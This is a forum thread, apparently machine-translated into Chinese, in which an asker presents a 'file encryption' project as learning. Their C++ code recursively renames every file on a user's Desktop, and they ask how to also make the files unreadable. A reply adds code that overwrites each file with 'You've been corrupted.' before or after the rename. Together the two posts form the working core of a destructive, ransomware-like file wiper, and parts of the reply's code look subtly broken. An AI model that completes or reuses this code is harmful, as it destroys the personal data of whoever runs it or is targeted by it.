我正在设置有关“加密文件”的新代码(仅供学习,我的程序是要更改所选路径中的整个文件名。
我正在使用文件系统库
我的问题是,在调试后更改名称后,我可以将文件重命名为他的名字,并且数据不会更改或删除,我想制作一个程序来读取文件并更改他的数据,使文件无法进入。
我还没有尝试过任何东西。
这是我的代码,希望其中一个人可以编辑并解释他如何更改特定路径中文件的数据。
srand(time(0));
string dirPath = "C:\\Users\\" + i() + "\\Desktop";
auto path = fs::path(dirPath);
auto dir = fs::recursive_directory_iterator(path);
int fileName = rand() % 1111111;
filesystem::path currPath = path;
auto innerPaths = vector<fs::path>();
innerPaths.push_back(currPath);
auto currentDepthSize = dir.depth();
for (auto& block : dir)
{
if (currentDepthSize != dir.depth())
{
currentDepthSize = dir.depth();
currPath = innerPaths[currentDepthSize];
}
if (block.is_directory())
{
currentDepthSize = dir.depth();
currPath = dir->path();
innerPaths.push_back(currPath);
}
else
{
fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
fileName++;
}
}
感谢您阅读。
我浏览了您的代码,试图找到文件重命名的位置。
看起来您现在在代码中找到了一个文件:
else
{
fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
fileName++;
}
您可以在重命名文件之前写入文件:
else
{
std::string the_filename = fs::path(currPath.string() + "\\" + std::to_string(fileName));
std::ofstream the_file_stream(the_filename);
the_file_stream << "You've been corrupted." << std::endl;
the_file_stream.close();
fs::rename(block.path(), the_filename);
fileName++;
}
另一个方法是调用一个写入文件的函数:
else
{
Change_File_Content(fs::path(currPath.string() + "\\" + std::to_string(fileName)));
fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
fileName++;
}
我查找了如何使用std::fstream
写入文件,并意识到更改文件名后您也可以写入该文件:
else
{
Change_File_Content(fs::path(currPath.string() + "\\" + std::to_string(fileName)));
fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
Change_File_Content(/* Insert filename or string containing filename here */);
fileName++;
}